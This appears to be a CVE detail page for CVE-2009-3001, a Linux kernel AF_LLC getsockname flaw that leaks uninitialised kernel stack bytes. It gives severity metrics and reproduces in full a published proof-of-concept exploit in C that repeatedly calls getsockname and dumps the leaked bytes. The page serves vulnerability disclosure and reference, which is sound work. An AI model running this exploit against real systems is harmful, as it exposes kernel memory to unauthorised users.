CVE-2009-3001 Detail

CVE-2009-3001

OWSAP

A01-Broken Access Control

EPSS

0.06%V3

Vector

Local

Published

2009-08-28
13h00 +00:00

Modified

2017-09-18
10h57 +00:00

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CVE Descriptions

The llc_ui_getname function in net/llc/af_llc.c in the Linux kernel 2.6.31-rc7 and earlier does not initialize a certain data structure, which allows local users to read the contents of some kernel memory locations by calling getsockname on an AF_LLC socket.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-200	Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4.9		AV:L/AC:L/Au:N/C:C/I:N/A:N	[email protected]

EPSS

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EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

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The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 9513

Publication date : 2009-08-24 22h00 +00:00
Author : Jon Oberheide
EDB Verified : Yes

/* * llc-getsockname-leak.c * * Linux Kernel <= 2.6.31-rc7 AF_LLC getsockname 5-Byte Stack Disclosure * Jon Oberheide <[email protected]> * http://jon.oberheide.org * * Information: * * http://git.kernel.org/linus/28e9fc592cb8c7a43e4d3147b38be6032a0e81bc * * sllc_arphrd member of sockaddr_llc might not be changed. Zero sllc * before copying to the above layer's structure. * * Notes: * * Bug is present in <= 2.6.31-rc7, but the impact is limited to <= 2.6.24.4 * as AF_LLC sockets have been restricted to CAP_NET_RAW since then. Only 5 * bytes of uninitialized kernel stack are leaked via AF_LLC's getsockname(). */ #include <stdlib.h> #include <string.h> #include <stdio.h> #include <errno.h> #include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #include <net/if_arp.h> #ifndef AF_LLC #define AF_LLC 26 #endif #ifndef AF_LLC #define AF_LLC 26 #endif #ifndef LLC_SAP_NULL #define LLC_SAP_NULL 0x00 #endif #ifndef __LLC_SOCK_SIZE__ #define __LLC_SOCK_SIZE__ 16 struct sockaddr_llc { sa_family_t sllc_family; sa_family_t sllc_arphrd; unsigned char sllc_test; unsigned char sllc_xid; unsigned char sllc_ua; unsigned char sllc_sap; unsigned char sllc_mac[6]; unsigned char __pad[__LLC_SOCK_SIZE__ - sizeof(sa_family_t) * 2 - sizeof(unsigned char) * 4 - 6]; }; #endif const int randcalls[] = { __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat, __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid, __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, __NR_sched_getparam, __NR_sched_get_priority_max }; void dump(const unsigned char *p, unsigned l) { printf("sockaddr_llc:"); while (l > 0) { printf(" "); if (l == 12 || l == 2) { printf("*** "); } printf("%02x", *p); if (l == 10 || l == 1) { printf(" ***"); } ++p; --l; } printf("\n"); } int main(void) { struct sockaddr_llc sllc; int ret, sock, call, sllc_len = sizeof(sllc); printf("[+] Creating AF_LLC socket.\n"); sock = socket(AF_LLC, SOCK_DGRAM, 0); if (sock == -1) { printf("[-] Error: Couldn't create AF_LLC socket.\n"); printf("[-] %s.\n", strerror(errno)); exit(1); } memset(&sllc, 0, sllc_len); sllc.sllc_family = AF_LLC; sllc.sllc_arphrd = ARPHRD_ETHER; sllc.sllc_sap = LLC_SAP_NULL; printf("[+] Dummy sendto to autobind socket.\n"); ret = sendto(sock, "LEAK", 4, 0, (struct sockaddr *) &sllc, sllc_len); if (ret == -1) { printf("[-] Error: sendto failed.\n"); printf("[-] %s.\n", strerror(errno)); exit(1); } printf("[+] Ready to call getsockname.\n\n"); for (ret = 5; ret > 0; ret--) { printf("%d...\n", ret); sleep(1); } srand(time(NULL)); while (1) { /* random stuff to make stack pseudo-interesting */ call = rand() % (sizeof(randcalls) / sizeof(int)); syscall(randcalls[call]); ret = getsockname(sock, (struct sockaddr *) &sllc, &sllc_len); if (ret != 0) { printf("[-] Error: getsockname failed.\n"); printf("[-] %s.\n", strerror(errno)); exit(1); } dump((unsigned char *) &sllc, sizeof(sllc)); } return 0; } // milw0rm.com [2009-08-25]